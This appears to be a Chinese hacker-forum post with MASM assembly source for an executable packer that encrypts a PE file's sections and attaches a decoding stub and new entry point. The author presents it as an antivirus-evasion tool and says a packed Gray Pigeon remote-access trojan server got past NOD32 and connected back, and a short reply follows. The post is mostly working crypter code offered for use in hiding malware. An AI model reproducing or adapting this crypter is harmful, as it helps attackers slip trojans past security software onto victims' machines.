;added on 2006-3-4

key_size = $ - offset entry



db 1000h dup (0)



trans proc uses eax esi edi
mov esi,eax
dec esi
@@:
inc esi
mov al,[esi]
cmp al,0
je t9
cmp al,20h
je @f
cmp al,9
jne @b
@@:
inc esi
mov al,[esi]
cmp al,0
je t9
cmp al,20h
je @b
cmp al,9
je @b
mov edi,offset fname1
@@:
mov al,[esi]
cmp al,20h
je @f
cmp al,9
je @f
mov [edi],al
inc esi
inc edi
cmp al,0
je t9
jmp @b
@@:
mov byte ptr [edi],0
dec esi
@@:
inc esi
mov al,[esi]
cmp al,0
je t9
cmp al,20h
je @b
cmp al,9
je @b  
mov edi,offset fname2
@@:
mov al,[esi]
cmp al,20h
je @f
cmp al,9
je @f
mov [edi],al
inc esi
inc edi
cmp al,0
je t9
jmp @b
@@:
mov byte ptr [edi],0
dec esi
@@:
inc esi
mov al,[esi]
cmp al,0
je t9
cmp al,20h
je @b
cmp al,9
je @b
mov edi,offset fname3
@@:
mov al,[esi]
cmp al,20h
je @f
cmp al,9
je @f
mov [edi],al
inc esi
inc edi
cmp al,0
je t9
jmp @b
@@:
mov byte ptr [edi],0
t9:
ret
trans endp


calc_checksum proc uses eax ebx ecx edi esi
mov ebx,0
lea esi,check1_start[ebx]
lea edi,check1_end[ebx]
mov eax,0
mov ecx,0
@@:
mov cl,[esi]
sub eax,ecx
inc esi
cmp esi,edi
jb @b
mov dword ptr check1_sum,eax
lea esi,check2_start[ebx]
lea edi,check2_end[ebx]
mov eax,0
mov ecx,0
@@:
mov cl,[esi]
add eax,ecx
inc esi
cmp esi,edi
jb @b
mov dword ptr check2_sum,eax
ret
calc_checksum endp

start:
;        int 3

jmp st1


        invoke LoadLibrary,addr shell32
invoke GetProcAddress,eax,800000e9h
; invoke VirtualAlloc,0h,10000h,MEM_RESERVE,PAGE_READWRITE
; invoke VirtualQuery,eax,addr mbi,sizeof MEMORY_BASIC_INFORMATION
; invoke VirtualAlloc,0h,10000h,MEM_COMMIT,PAGE_READWRITE
; invoke VirtualAlloc,0h,10000h,MEM_COMMIT,PAGE_READWRITE

; invoke VirtualProtect,3e0000h,10,PAGE_READONLY,addr temp1


mov esi,400000h
@@:
invoke VirtualQuery,esi,addr mbi,sizeof MEMORY_BASIC_INFORMATION
; cmp dword ptr mbi[10h],10000h
; je @f
mov esi,dword ptr mbi[0]     ;MEMORY_BASIC_INFORMATION.BaseAddress]
add esi,dword ptr mbi[0ch]   ;MEMORY_BASIC_INFORMATION.RegionSize]
cmp eax,0
jne @b
@@:
mov eax,dword ptr mbi[0]
; invoke VirtualAlloc,eax,10h,MEM_COMMIT,PAGE_READWRITE
cmp eax,0
jne @f

invoke VirtualQuery,3e0000h,addr mbi,sizeof MEMORY_BASIC_INFORMATION
; invoke VirtualAlloc,0,10h,MEM_COMMIT,PAGE_READWRITE
invoke VirtualQuery,3e0000h,addr mbi,sizeof MEMORY_BASIC_INFORMATION

@@:


st1:

invoke VirtualProtect,addr entry,key_size,PAGE_READWRITE,addr temp1

invoke GetTickCount
push eax
invoke GetTickCount
pop edx
mul edx
mov dword ptr dc_edit+1,eax
mov dword ptr ec_edit+1,eax


call calc_checksum


invoke GetTickCount
push eax
invoke GetTickCount
pop edx
mul edx
mov decode_key,eax
not eax
mov rnd,eax
mov esi,offset _ok
mov edi,offset __ok
mov eax,decode_key
@@:
cmp esi,edi
jae @f
xor [esi],al
inc eax
ror eax,7
inc esi
jmp @b
@@:
invoke GetCommandLine
call trans  ;分解命令行
        invoke CreateFile,addr fname1,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,0
cmp eax,INVALID_HANDLE_VALUE
je error1
mov hfile1,eax

        invoke CreateFile,addr fname2,GENERIC_WRITE,0,0,CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,0
cmp eax,INVALID_HANDLE_VALUE
je error3
mov hfile3,eax

                  
invoke GetFileSize,hfile1,0
mov fsize1,eax

invoke VirtualAlloc,0,fsize1,MEM_COMMIT,PAGE_READWRITE
mov pt1,eax
        invoke ReadFile,hfile1,pt1,fsize1,addr temp1,0

mov ebx,pt1
mov esi,[ebx+3ch]

cmp flag_clear_boundimport,0
je @f
lea eax,[ebx+esi+0d0h]
mov dword ptr [eax],0
mov dword ptr [eax+4],0
@@:
cmp flag_clear_load_config,0
je @f
lea eax,[ebx+esi+0c8h]
mov dword ptr [eax],0
mov dword ptr [eax+4],0
@@:
mov eax,[ebx+esi+34h]
mov image_base,eax
push esi
lea esi,[ebx+esi+78h]
mov edi,offset rva_table
mov ecx,80h
call move_memory
pop esi
cmp flag_add_section,0
je @f
add word ptr [ebx+esi+6],1
@@:
mov eax,0
xchg eax,[ebx+esi+80h]
mov iat_offs,eax
mov eax,0
xchg eax,[ebx+esi+84h]
mov iat_size,eax
mov eax,0
xchg eax,[ebx+esi+0a0h]
mov reloc_offs,eax
mov eax,0
xchg eax,[ebx+esi+0a4h]
mov reloc_size,eax

        lea edi,[esi+0f8h]
movzx eax,word ptr [ebx+esi+6]
mov temp1,eax
st2:
dec temp1
jz st3
jmp @f
cmp dword ptr [ebx+edi+0ch],0       ;;;;;;
je st3
cmp dword ptr [ebx+edi+08h],0       ;;;;;;
je st3
@@:
jmp st24
mov eax,dword ptr [ebx+esi+0a8h]
cmp eax,0
je @f
add eax,dword ptr [ebx+esi+0ach]
cmp eax,dword ptr [ebx+edi+0ch]
jb @f
mov eax,dword ptr [ebx+edi+0ch]
add eax,dword ptr [ebx+edi+8]
cmp eax,dword ptr [ebx+esi+0a8h]
ja st25
@@:
mov eax,dword ptr [ebx+esi+88h]
cmp eax,0
je @f
add eax,dword ptr [ebx+esi+8ch]
cmp eax,dword ptr [ebx+edi+0ch]
jb @f
mov eax,dword ptr [ebx+edi+0ch]
add eax,dword ptr [ebx+edi+8]
cmp eax,dword ptr [ebx+esi+88h]
ja st25
@@:
mov eax,dword ptr [ebx+esi+0c0h]
cmp eax,0
je @f
add eax,dword ptr [ebx+esi+0c4h]
cmp eax,dword ptr [ebx+edi+0ch]
jb @f
mov eax,dword ptr [ebx+edi+0ch]
add eax,dword ptr [ebx+edi+8]
cmp eax,dword ptr [ebx+esi+0c0h]
ja st25
@@:
st24:
mov eax,[ebx+edi+8]
cmp eax,[ebx+edi+10h]
jbe @f
mov eax,[ebx+edi+10h]
@@:
mov ecx,[ebx+edi+14h]
;;;;;;add ecx,ebx
mov edx,[ebx+edi+0ch]
sub ecx,edx   ;
invoke encode,edx,eax,ebx,ecx
st25:
add edi,28h
jmp st2
st3:
push edi
        lea eax,[esi+0f8h]
sub edi,eax
mov edx,0
mov eax,edi
mov edi,28h
div edi
mov number_of_section,eax
pop edi

cmp flag_add_section,0
jne st6

        mov eax,fsize1
sub eax,[ebx+edi+14h]
test eax,00000fffh
jz @f
add eax,1000h
@@:
and eax,0fffff000h
push eax
add eax,key_size
test eax,00000fffh
jz @f
add eax,1000h
@@:
and eax,0fffff000h
mov [ebx+edi+08h],eax
mov [ebx+edi+10h],eax
or dword ptr [ebx+edi+24h],0a0000020h  ;mov dword ptr [ebx+edi+24h],0e0000040h
pop ecx
mov eax,[ebx+edi+0ch]
add eax,ecx
add eax,offset entry
sub eax,offset entry
xchg [ebx+esi+28h],eax
mov shell_eip,eax
jmp st7

st6:
mov eax,key_size
test eax,00000fffh
jz @f
add eax,1000h
@@:
and eax,0fffff000h
mov [ebx+edi+8],eax
sub edi,28h
mov eax,[ebx+edi+0ch]
add eax,[ebx+edi+8]
test eax,00000fffh
je @f
add eax,1000h
@@:
and eax,0fffff000h
add edi,28h
mov [ebx+edi+0ch],eax
  
mov eax,key_size
test eax,00000fffh
jz @f
add eax,1000h
@@:
and eax,0fffff000h
mov [ebx+edi+10h],eax
mov eax,fsize1
test eax,00000fffh
je @f
add eax,1000h
@@:
and eax,0fffff000h
mov [ebx+edi+14h],eax
mov dword ptr [ebx+edi+24h],0e0000020h
mov eax,[ebx+edi+0ch]
add eax,offset entry
sub eax,offset entry
xchg [ebx+esi+28h],eax
mov shell_eip,eax
st7:
mov eax,[ebx+edi+0ch]
add eax,[ebx+edi+8]
test eax,00000fffh
je @f
add eax,1000h
@@:
and eax,0fffff000h
mov [ebx+esi+50h],eax



mov eax,decode_key
xor shell_eip,eax

lea esi,entry00
mov ecx,__ok - entry00
@@:
not byte ptr [esi]
inc esi
loop @b
mov flag_reentry,0



        invoke WriteFile,hfile3,pt1,fsize1,addr temp1,0
cmp flag_add_section,0
jne st75
mov eax,fsize1
sub eax,[ebx+edi+14h]
mov ecx,1000h
sub ecx,eax
jns st71
@@:
add ecx,1000h
js @b
st71:
mov eax,ecx
jmp st8
st75:
mov eax,fsize1
test eax,00000fffh
je @f
add eax,1000h
@@:
and eax,0fffff000h
sub eax,fsize1
st8:
        lea ecx,_fill
        invoke WriteFile,hfile3,ecx,eax,addr temp1,0



mov eax,key_size
test eax,00000fffh
jz @f
add eax,1000h
@@:
and eax,0fffff000h
        invoke WriteFile,hfile3,addr entry,eax,addr temp1,0
invoke CloseHandle,hfile1

invoke CloseHandle,hfile3


invoke VirtualFree,pt1,0,MEM_RELEASE

        invoke CreateFile,addr fname2,GENERIC_READ + GENERIC_WRITE,0,0,OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,0
cmp eax,INVALID_HANDLE_VALUE
je error3
mov hfile1,eax
                 
invoke GetFileSize,hfile1,0
mov fsize1,eax
invoke VirtualAlloc,0,fsize1,MEM_COMMIT,PAGE_READWRITE
mov pt1,eax
        invoke ReadFile,hfile1,pt1,fsize1,addr temp1,0
mov ecx,fsize1
mov edi,pt1
uu1:
cmp ecx,8
jb nofound
cmp dword ptr [edi],'LiNr' ;'rNiL'
jne uu2
cmp dword ptr [edi+4],'VoTa' ;'aToV'
je found
uu2:
inc edi
loop uu1
jmp nofound
found:
add edi,8
sub edi,pt1
mov ebx,pt1
mov esi,[ebx+3ch]
movzx ecx,word ptr [ebx+esi+6]
mov eax,[ebx+esi+74h]
shl eax,3
lea edx,[ebx+esi+78h]
add edx,eax
uu3:
cmp dword ptr [edx+14h],edi
ja s_nt
mov eax,[edx+8]
add eax,[edx+14h]
cmp eax,edi
jbe s_nt
mov eax,edi
sub eax,[edx+14h]
add eax,[edx+0ch]
mov [ebx+esi+80h],eax
mov dword ptr [ebx+esi+84h],14h ;size1+size2+size3+size4
lea ecx,[eax+size1]
mov [ebx+edi+0ch],ecx
lea ecx,[eax+size1+size2]
mov [ebx+edi+size1+size2+size3],ecx
lea ecx,[eax+size1+size2+size3]
mov [ebx+edi+10h],ecx
jmp found1
s_nt:
add edx,28h
loop uu3
jmp nofound
found1:
invoke SetFilePointer,hfile1,0,0,FILE_BEGIN
invoke WriteFile,hfile1,pt1,fsize1,addr temp1,0
nofound:
invoke CloseHandle,hfile1
invoke VirtualFree,pt1,0,MEM_RELEASE
error1:
error2:
error3:
exit0:
invoke ExitProcess,0
_fill   db 1000h dup (0)
end start
-----------------------------------
程序很简单把,你那么聪明,肯定看懂了,这只是一个小小的免杀工具模型,可以使用呵,我试验成功,不去特征的黑防鸽子免杀后,直接过NOD32,上线成功,怎么样。
注意,编译后,程序使用方法:shell.exe <input.exe> <output.exe>
如:shell.exe server.exe miansha.exe
明白??不明白的就是White口乞!!
-----------------------------------
PS:想交个朋友的回帖时打上QQ或邮箱,愿交天下志同道合的黑友。
不知道为什么我不能上传ZIP,RAR附件??郁闷,版主或管理员照顾一下我,让我能传附件好不好??

TOP

好长 比我的GSDCD长10倍!
460722580加吧

Processed in 0.246062 second(s), 6 queries, Gzip enabled